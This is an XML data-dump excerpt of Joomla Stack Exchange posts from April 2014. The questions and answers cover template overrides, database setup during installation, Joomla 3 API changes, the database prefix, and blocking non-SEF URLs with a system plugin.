  <row Id="353" PostTypeId="1" AcceptedAnswerId="358" CreationDate="2014-04-26T04:48:24.433" Score="2" ViewCount="969" Body="&lt;p&gt;I'd like to override the category view to display subcategories as list items, my template uses bootstrap and I'd like to get a display similar to thumbnails: &lt;a href=&quot;http://getbootstrap.com/components/#thumbnails&quot; rel=&quot;nofollow&quot;&gt;http://getbootstrap.com/components/#thumbnails&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help please.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="69" LastEditDate="2014-04-26T08:47:25.843" LastActivityDate="2014-04-26T12:08:06.587" Title="How can I override content category view to display subcategories as list items" Tags="|overrides|templates|subcategories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="354" PostTypeId="2" ParentId="331" CreationDate="2014-04-26T05:06:57.833" Score="1" Body="&lt;p&gt;&lt;strong&gt;It's very important that You will need to enter the information about the database you will use for Installing Joomla.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating Db is very important before you installing any joomla Package ,During Installation it will create  tables .Entering the Database name , Table prefix, plays a main role in Installation .By giving all the database related details after installation Complete successfully.So it's very Important need a db in the name of your site before installing joomla . &#xA; Say Example your Site name is &lt;strong&gt;example&lt;/strong&gt; .&#xA;then you need to create DB in the name &lt;strong&gt;example&lt;/strong&gt; before you install.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If you need to create a database, please read  http://docs.joomla.org/Creating_a_Database_for_Joomla! first or skip to step #2.&#xA;You will need to note basic database information needed when the actual Joomla! installation is started.&#xA;    Location of datase, localhost? Or a specific host's server such as dbserver1.yourhost.com&#xA;    The database name&#xA;    The database user's name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;        The database user's password&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;During Installation &#xA;you need to enter set the values in&lt;br&gt;&#xA;For simplification, these intructions are a reference to installing with a MySQLi database. The instructions on the installation page are self explanatory, but here they are again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Database Type: MySQLi is the common database used&#xA;&#xA;Hostname: Where is your database located? Common is localhost, but some hosts use a specific database server such as dbserver1.yourhost.com&#xA;&#xA;Username: The username used to connect to the database&#xA;&#xA;Password: The password for the database's username&#xA;&#xA;Database Name: The name of the database&#xA;&#xA;Table Prefix: One is generated automatically, but you can change it. For example, jos3_ can be used. Just don't forget to put the underscore character(_) at the end of the prefix.&#xA;&#xA;Old Database Process: Should the installer backup or delete existing tables during the installation of new tables? Click, Yes or No to select the choice. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for more Detail:&lt;a href=&quot;http://docs.joomla.org/J3.2%3aInstalling_Joomla#tab=Requirements&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J3.2:Installing_Joomla#tab=Requirements&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2014-04-26T05:06:57.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="355" PostTypeId="2" ParentId="295" CreationDate="2014-04-26T05:53:58.720" Score="2" Body="&lt;p&gt;Actually it sounds like you should create a library rather than a component. Since the bulk of your classes will only be used by modules and plugins. Which will have their own install zips. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link that shows how to &lt;a href=&quot;http://docs.joomla.org/Manifest_files&quot; rel=&quot;nofollow&quot;&gt;set up the manifest&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this &lt;a href=&quot;http://docs.joomla.org/Using_own_library_in_your_extensions&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; to setup autoloading&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2014-12-16T01:24:00.957" LastActivityDate="2014-12-16T01:24:00.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="356" PostTypeId="2" ParentId="325" CreationDate="2014-04-26T06:19:54.377" Score="4" Body="&lt;p&gt;in two words:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;JHtml::script()&lt;/code&gt; - allow you to override the specific script (except that already attached to JDocument), depend from some factors (see @Bakual answer);&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$doc-&amp;gt;addScript()&lt;/code&gt; - attach script directly to the document, without checking an overrides;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you are the extension developer, then highly recommended use &lt;code&gt;JHtml::script()&lt;/code&gt; when you add the script. This will allow for your users override some specific scripts, depend from what they want.&lt;br /&gt;&#xA;Also there similar method for css.&lt;/p&gt;&#xA;" OwnerUserId="87" LastActivityDate="2014-04-26T06:19:54.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="357" PostTypeId="2" ParentId="299" CreationDate="2014-04-26T06:50:27.147" Score="1" Body="&lt;p&gt;If you have SEF URLs turned on and you are using Joomla!'s .htaccess file make sure that mod_rewrite is enabled on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In many cases, the .htaccess file is the culprit, so assuming mod_rewrite is enabled, I'd recommend backing up the .htaccess file and then deleting the original(or renaming it), to see if that makes a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also recommend installing and running firebug console in your browser. It often reveals hints that you can use to track down the problem (this is true of many different problems).&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-04-26T06:50:27.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="358" PostTypeId="2" ParentId="353" CreationDate="2014-04-26T07:27:32.130" Score="1" Body="&lt;p&gt;You can create your own layout file in /templates/your_template/html/com_content/category/default.php and show everything as you wish there. Or you can just override the part for the subcategories which should be the &lt;code&gt;default_children.php&lt;/code&gt; file.&#xA;That is assuming you want to override the default layout. If you want to override the blog one, change &lt;code&gt;default&lt;/code&gt; to `blog.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-26T07:27:32.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="359" PostTypeId="2" ParentId="331" CreationDate="2014-04-26T07:47:46.920" Score="0" Body="&lt;p&gt;The database will need to be created, although it will be empty and have no tables per se.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When running the Joomla installer, it will prompt you to provide the database host, database username, and database password. It will then proceed to seed the database with the necessary tables and data.&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2014-04-26T07:47:46.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="360" PostTypeId="1" AcceptedAnswerId="15051" CreationDate="2014-04-26T07:58:56.903" Score="15" ViewCount="5961" Body="&lt;p&gt;I have a number of Joomla 3.x sites, which I want to manage centrally, however they are all for different clients, so I cannot share any information between them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to achieve is to automate updates between them, run them at different versions (mainly to reduce upgrade risks) and be able to install extensions to multiple sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have done so far is set up a subversion repository with the shared code and I link this into each site with svn externals. However I have not achieved automation between the databases, in terms of structure of the database and updating the details of extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My installation runs on my own dedicated server, which is locked down, so I have to change access rights of folders every time I upgrade Joomla or an extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have at times upgraded Joomla by running the SQL scripts that come with the upgrades myself, at other times I have taken the change access rights/ upgrade/ change access rights route.&#xA;Both approaches are still quite tedious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a cursory look a these extensions: &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/multiple-sites&quot;&gt;http://extensions.joomla.org/extensions/core-enhancements/multiple-sites&lt;/a&gt;&#xA;but none of them look like they may do what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done anything in this area and could give me some pointers to build a system myself?&#xA;- are there code libraries (outside Joomla) that can track the changes to extension and other tables? My list of extensions is likely to stay restricted, I tend to code anything else that is needed in the templates or plugins.&#xA;- any other ideas?&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2021-10-29T08:03:42.277" Title="How to manage multiple Joomla sites and their updates" Tags="|joomla-3.x|update|upgrade|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="361" PostTypeId="2" ParentId="360" CreationDate="2014-04-26T08:25:33.077" Score="3" Body="&lt;p&gt;I'm managing 30 Joomla sites some of them are 2.5 some 3.2. &#xA;On patch I do the following per Installation:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run a script that makes a copy to a working directory of the files&lt;/li&gt;&#xA;&lt;li&gt;Copy the database with the current data as postfix&lt;/li&gt;&#xA;&lt;li&gt;Switch the working directory version to the new database.&lt;/li&gt;&#xA;&lt;li&gt;let run Joomla update on it, maybe update some other extensions&lt;/li&gt;&#xA;&lt;li&gt;test website (because an update easily break some functions, thats the reason why I make it manually)&lt;/li&gt;&#xA;&lt;li&gt;Rename the current site folder with the version tag&lt;/li&gt;&#xA;&lt;li&gt;Rename the working directory to the name that apache excepts&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This reduces the risks to a minimum and the downtime to zero if you make the last two steps atomic (really fast).&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="38" LastEditDate="2014-04-26T09:21:17.857" LastActivityDate="2014-04-26T09:21:17.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="362" PostTypeId="1" AcceptedAnswerId="363" CreationDate="2014-04-26T08:26:07.630" Score="7" ViewCount="1380" Body="&lt;p&gt;I am migrating a component from joomla 2.5 to joomla 3.2, I got an error in the method where am using setOffset &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//old version used in joomla 2.5 &#xA;&#xA;$data-&amp;gt;setOffset(JFactory::getConfig()-&amp;gt;get('offset'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I referred the Link : &lt;a href=&quot;http://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&quot;&gt;http://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//after i  refered the above link i changed my code  like &#xA;&#xA;if($date === null ) {   &#xA;  $date = JFactory::getDate();&#xA;  $tz = JFactory::getConfig()-&amp;gt;get( 'offset' );&#xA;&#xA;  // new Version &#xA;  $date-&amp;gt;setTimezone($tz);&#xA;&#xA;  $date = $date-&amp;gt;format( &quot;%Y-%m-%d&quot; );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but i am getting an error  -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DateTime::getTimezone() expects exactly 0 parameters, 1 given  /example.php on line 5 .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Plz need your solution to fix the error&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="69" LastEditDate="2014-04-27T11:45:24.020" LastActivityDate="2018-01-14T18:27:26.443" Title="How to setOffset() in joomla 3.2.3" Tags="|cms|upgrade|date|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="363" PostTypeId="2" ParentId="362" CreationDate="2014-04-26T08:51:57.717" Score="6" Body="&lt;p&gt;Finally I found the solution for this Error by passing the object of &lt;code&gt;DateTimeZone&lt;/code&gt; as a parameter (notice the &lt;code&gt;$date-&amp;gt;setTimezone(new DateTimeZone($tz));&lt;/code&gt; in the code bellow). It's working fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($date === null )&#xA;{&#xA;  $date = JFactory::getDate();&#xA;  $tz = JFactory::getConfig()-&amp;gt;get( 'offset' );&#xA;&#xA;  $date-&amp;gt;setTimezone(new DateTimeZone($tz)); //here!&#xA;&#xA;  $date = $date-&amp;gt;format( &quot;Y-m-d&quot; );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastEditorUserId="38" LastEditDate="2014-04-26T17:32:08.490" LastActivityDate="2014-04-26T17:32:08.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="364" PostTypeId="1" AcceptedAnswerId="406" CreationDate="2014-04-26T08:58:26.503" Score="1" ViewCount="759" Body="&lt;p&gt;My question is inspired by an old problem that I don't think I properly resolved. I was storing array information in a Joomla session which I accessed a short time later. I found that intermittently the Joomla variable I had set was missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For interest you can see my original problem at &lt;a href=&quot;https://stackoverflow.com/questions/13052495/how-to-prevent-race-conditions-when-writing-reading-joomla-session-variables-fr&quot;&gt;https://stackoverflow.com/questions/13052495/how-to-prevent-race-conditions-when-writing-reading-joomla-session-variables-fr&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not going to ask the same question though, instead I was hoping to get answers for the following related questions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What could cause Joomla session data to intermittently go missing?&lt;/li&gt;&#xA;&lt;li&gt;How could I troubleshoot missing Joomla session variables?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="115" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-04-02T18:15:56.997" Title="What could cause Joomla session data to intermittently go missing?" Tags="|cms|session|troubleshooting|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="365" PostTypeId="1" AcceptedAnswerId="366" CreationDate="2014-04-26T09:18:38.573" Score="2" ViewCount="301" Body="&lt;p&gt;There are a lot of API changes in Joomla between 2.x and 3.x versions. &#xA;In development of Joomla 3-components I still use the legacy class abstracts:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.application.component.view');&#xA;class TestViewItem extends JViewLegacy { &#xA;    public function display($tpl = null) {&#xA;         $model = JModelLegacy::getInstance('Test', 'JiwaModel');&#xA;         $model-&amp;gt;call();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what will be the correct non legacy way of doing it in Joomla 3.x and beyond?&lt;/p&gt;&#xA;" OwnerUserId="51" LastActivityDate="2014-11-12T10:32:33.750" Title="Correct manner of using View- and Model-Abstracts in Joomla 3+" Tags="|component|php|joomla-3.x|joomla-api|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="366" PostTypeId="2" ParentId="365" CreationDate="2014-04-26T11:08:23.470" Score="1" Body="&lt;p&gt;I have no concrete answer for you but @george-wilson posted a answer to a similar question &lt;a href=&quot;https://joomla.stackexchange.com/questions/251/when-will-the-jxxxlegacy-classes-be-deprecated/262#262&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There he says that the com_config component already uses the new MVC structure. The &lt;code&gt;ConfigViewApplicationHtml&lt;/code&gt; uses the &lt;code&gt;JViewHtml&lt;/code&gt; as master class. So this could be a good starting point.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-04-26T11:08:23.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="367" PostTypeId="2" ParentId="353" CreationDate="2014-04-26T12:08:06.587" Score="0" Body="&lt;p&gt;From docs.joomla.org:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;3 Component Output Types and Layout Overrides&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;3.1 Output Types&lt;/h2&gt;&#xA;&#xA;&lt;h2&gt;3.2 Layouts&lt;/h2&gt;&#xA;&#xA;&lt;h2&gt;3.3 Copying or Creating Layout Files&lt;/h2&gt;&#xA;&#xA;&lt;h2&gt;3.4 Overriding Sub-Layouts&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides#Copying_or_Creating_Layout_Files&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Understanding_Output_Overrides#Copying_or_Creating_Layout_Files&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-04-26T12:08:06.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="368" PostTypeId="1" AcceptedAnswerId="370" CreationDate="2014-04-26T12:25:50.643" Score="13" ViewCount="2119" Body="&lt;p&gt;I sometimes access the Joomla DB via external scripts. The problem I have is that if I ever need to change the prefix, I'll need to edit my scripts again too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to programmatically determine the Joomla database prefix using php? If yes, how?&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-04-26T15:57:13.860" Title="How can I programmatically get the Joomla database prefix using php?" Tags="|php|joomla-3.x|joomla-2.5|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="369" PostTypeId="2" ParentId="360" CreationDate="2014-04-26T13:01:48.563" Score="5" Body="&lt;p&gt;I know this doesn't answer all of your points but for me I have multiple sites all running 3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Akeeba, which notifies me of updates available, and is set up to create system restore points (basically SQL backups) when Joomla updates. So my routine is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Backup every site&lt;/li&gt;&#xA;&lt;li&gt;Check for updates to backup extensions&lt;/li&gt;&#xA;&lt;li&gt;If there are updates for the above run another backup&lt;/li&gt;&#xA;&lt;li&gt;Install Joomla update for the least popular site first&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="215" LastActivityDate="2014-04-26T13:01:48.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="370" PostTypeId="2" ParentId="368" CreationDate="2014-04-26T13:07:11.477" Score="16" Body="&lt;p&gt;You can get the prefix using the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Joomla 2.5 use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication(); &#xA;$prefix = $app-&amp;gt;getCfg('dbprefix');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For Joomla 3.2 use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication(); &#xA;$prefix = $app-&amp;gt;get('dbprefix');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But&lt;/strong&gt;&#xA;Joomla documentation recommends that you never modify the prefix. I know some backup software allows you to make a change part way through a restore though don't underestimate the work potentially involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://docs.joomla.org/How_to_determine_your_database_prefix&quot;&gt;http://docs.joomla.org/How_to_determine_your_database_prefix&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="215" LastEditorUserId="69" LastEditDate="2014-04-26T13:55:46.767" LastActivityDate="2014-04-26T13:55:46.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="371" PostTypeId="1" CreationDate="2014-04-26T14:16:51.197" Score="9" ViewCount="8206" Body="&lt;p&gt;For fast page load I need to insert JS at the end of the page from components and modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following way of declaring scripts does not work to insert it at the bottom because there is no parameter to put it in footer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rsws_document  = JFactory::getDocument(); &#xA;$rsws_document-&amp;gt;addScript();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what is the concise ways to fulfill my purpose? If joomla does not provide such functionality then it's a significant drawback for page load speed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to add custom stylsheets from a module so they are injected to page only once even if same module adds it multiple times in that page - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt; .classname { color:red; }.....&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this? &lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="69" LastEditDate="2014-04-26T17:31:21.650" LastActivityDate="2015-11-02T11:50:56.677" Title="Adding javascript file in the footer &amp; custom styles" Tags="|cms|joomla-api|module-style|javascript|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="372" PostTypeId="1" CreationDate="2014-04-26T14:17:42.110" Score="8" ViewCount="10711" Body="&lt;p&gt;Upon installation of Joomla the process stops while creating tables. Some tables were created, but not all of them. So far this only happens with MySQL with Joomla 3.x. What should I do?&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="1520" LastEditDate="2015-02-02T07:20:31.657" LastActivityDate="2018-05-20T10:08:23.360" Title="What to do when installation stuck on creating tables?" Tags="|joomla-3.x|mysql|installation|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="373" PostTypeId="2" ParentId="372" CreationDate="2014-04-26T14:17:42.110" Score="4" Body="&lt;p&gt;Installation of Joomla requires a properly configured infra. It looks like several stacks are not properly configured out-of-the-box for this very common Joomla setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increase max_execution_time in php.ini and restart apache untill installation of Joomla succeeds. Installation should continue creating the tables and finish in a timely fashion.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2014-04-26T14:17:42.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="374" PostTypeId="2" ParentId="372" CreationDate="2014-04-26T14:21:19.090" Score="2" Body="&lt;p&gt;Change the storage engine from InnoDB to MyISAM in installation/sql/mysql/joomla.sql.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See administrator/components/com_admin/sql/updates/mysql/3.0.0.sql for ALTER statements to change the engine back to InnoDB after install.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditDate="2015-03-05T13:49:06.800" LastActivityDate="2015-03-05T13:49:06.800" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="375" PostTypeId="2" ParentId="371" CreationDate="2014-04-26T14:52:02.027" Score="0" Body="&lt;p&gt;I haven't tried by myself yet. You can build a module which displays no HTML, just prints out scripts and styles, but it in the bottom module position on the pages where your other module is displayed.&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2014-04-26T14:52:02.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="376" PostTypeId="1" AcceptedAnswerId="377" CreationDate="2014-04-26T15:03:00.357" Score="7" ViewCount="296" Body="&lt;p&gt;My client realizes that we can access to components in Joomla by using non-SEF URL even when SEF is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He doesn't like it, because with no Itemid in the URL, the page is messy. For example, &lt;a href=&quot;http://www.joomla.org/index.php?option=com_content&quot;&gt;http://www.joomla.org/index.php?option=com_content&lt;/a&gt; is what he doesn't want people to see on his site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way we can block access to the site by using non-SEF URLs when SEF is enabled in Global Configuration?&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2014-04-27T06:00:15.703" Title="Is there any way to block access to components by using non-SEF URL?" Tags="|cms|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="377" PostTypeId="2" ParentId="376" CreationDate="2014-04-26T15:37:43.247" Score="6" Body="&lt;p&gt;You can create a system plugin with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterInitialise(){&#xA;    $app = JFactory::getApplication();&#xA;    $config = JFactory::getConfig();&#xA;    $uri = JUri::getInstance();&#xA;    if($config-&amp;gt;get(&quot;sef&quot;) &amp;amp;&amp;amp; $app-&amp;gt;isSite() &amp;amp;&amp;amp; $uri-&amp;gt;getQuery()){&#xA;        throw new Exception(&quot;Not Found&quot;, 404);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if we have anything after question mark &lt;code&gt;?&lt;/code&gt;, it throw a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead throw a 404 error you can redirect the user to the home page if you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to allow that some extension uses question mark, you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRoute(){&#xA;    $app = JFactory::getApplication();&#xA;    $config = JFactory::getConfig();&#xA;    $menu = $app-&amp;gt;getMenu();&#xA;    if($config-&amp;gt;get(&quot;sef&quot;) &amp;amp;&amp;amp; $app-&amp;gt;isSite() &amp;amp;&amp;amp; !$menu-&amp;gt;getActive()){&#xA;        throw new Exception(&quot;Not Found&quot;, 404);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the current route doesn't have a associated menu, it throw a 404 error.&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditDate="2014-04-27T06:00:15.703" LastActivityDate="2014-04-27T06:00:15.703" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="378" PostTypeId="2" ParentId="376" CreationDate="2014-04-26T15:39:51.093" Score="2" Body="&lt;p&gt;But how casual visitors will ever guess the non-SEF URLs and use these instead of the SEF one, so they can get the messy template view ?&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow, one way to avoid this is to use a 3rd party SEF extension, that will alway translate a non-SEF to corresponding SEF url. Visitors won't see the non-sef in the browser's address bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem with the messy template will not disappear. I guess this issue is due to the fact that a different menu item or no menu item at all is considered, while viewing the pages, so any css suffixes, modules or other special things intended for these pages will be handled correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To eliminate this issue, you need to assign these pages to the desired menu item.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-04-26T15:39:51.093" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="379" PostTypeId="2" ParentId="368" CreationDate="2014-04-26T15:57:13.860" Score="4" Body="&lt;p&gt;If you are accessing the Joomla DB via external scripts, maybe you don't want to initialize all joomla stuffs only to get the database prefix. So, you can require the configuration.php file inside your script, instantiate the JConfig class and get the dbprefix&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once $path_to_joomla_folder . &quot;/configuration.php&quot;;&#xA;$config = new JConfig;&#xA;$dbprefix = $config-&amp;gt;dbprefix;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastActivityDate="2014-04-26T15:57:13.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="380" PostTypeId="2" ParentId="236" CreationDate="2014-04-26T16:04:49.060" Score="2" Body="&lt;p&gt;I would say that it definitely has to do with what you want to do and how you would define the CCK. I haven't work extensively with ChronoForms and have small experience with ChronoEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would consider CF to be more a Forms Component, with the ability to build custom database apps using the CE. At some point this can be considered similar to a CCK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the same time, components like K2 or Seblod are dedicated and designed to provide exactly this kind of functionality, which will allow you to create your custom content items easily and fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worth to mention another extension that can be considered as a CCK for Joomla, and fits to the definition of CCK by Fedik, as it actually extends Joomla's core content component. &#xA;This is the Fields Attach (&lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-construction/18564&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/authoring-a-content/content-construction/18564&lt;/a&gt;) and it provides fields types to extend joomla articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently I started using Fabrik, which I think, combines some powerful features and can be used as an application builder (similar to ChronoForms with ChronoEngine) and potentially someone can build a custom content system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concluding, again it is what will work best for each project's specific requirements. Getting involved and learning more, will only be beneficial and you will be able to decide what fits better to you and your projects.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-04-26T16:04:49.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="381" PostTypeId="2" ParentId="371" CreationDate="2014-04-26T16:36:44.120" Score="2" Body="&lt;p&gt;By now I think there's no option to load scripts on the bottom of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your second question, you could use a static boolean property and set it to true the first time your css is rendered. For following module instances simply test this property to decide if you need to add your css or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe a good place to add this static property is a module helper class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;" OwnerUserId="160" LastActivityDate="2014-04-26T16:36:44.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
